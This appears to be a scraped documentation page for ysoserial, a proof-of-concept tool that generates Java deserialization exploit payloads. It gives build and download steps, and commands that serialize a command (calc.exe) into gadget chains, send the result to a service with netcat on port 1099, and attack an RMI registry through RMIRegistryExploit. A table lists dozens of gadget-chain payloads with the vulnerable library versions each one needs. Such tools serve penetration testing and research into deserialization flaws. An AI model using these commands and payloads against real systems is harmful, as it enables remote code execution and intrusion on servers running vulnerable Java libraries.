Build ysoserial from source
masterTo build the project from source, you must have Java 1.7+ and Maven 3.x+ installed. Use the following command to compile the project while skipping tests.
mvn clean package -DskipTestsysoserial
repository·master·Indexed 26 days ago
https://github.com/frohoff/ysoserialA proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization using various gadget chains found in common libraries. It provides a CLI to generate serialized Java objects that wrap specified commands and includes a specialized RMIRegistryExploit class for targeting RMI registries.
What's inside ysoserial
Install ysoserial
masterTo use ysoserial, download the pre-compiled
ysoserial-all.jarfrom the GitHub releases page.https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jarGenerate and use a Groovy payload
masterTo use a payload with a network service, you can redirect the output of
ysoserialto a file and then pipe that file to a tool likenc(netcat).java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin nc 10.10.10.10 1099 < groovypayload.binUse RMIRegistryExploit
masterYou can use the
ysoserial.exploit.RMIRegistryExploitclass directly via the classpath to target an RMI registry.java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exeUse the ysoserial CLI to generate payloads
masterThe main driver program generates serialized Java objects that wrap a specified command within a gadget chain. The resulting payload is sent to
stdout.Command Syntax:
java -jar ysoserial.jar [payload] '[command]'Available Payload Types and Dependencies:
Payload Authors Dependencies AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1 CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 Groovy1 @frohoff groovy:2.3.9 Hibernate1 @mbechler Hibernate2 @mbechler JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JRMPClient @mbechler JRMPListener @mbechler JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 Jdk7u21 @frohoff Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 MozillaRhino1 @matthias_kaiser js:1.7R2 MozillaRhino2 @_tint0 js:1.7R2 Myfaces1 @mbechler Myfaces2 @mbechler ROME @mbechler rome:1.0 Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 URLDNS @gebl Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 java -jar ysoserial.jar CommonsCollections1 calc.exe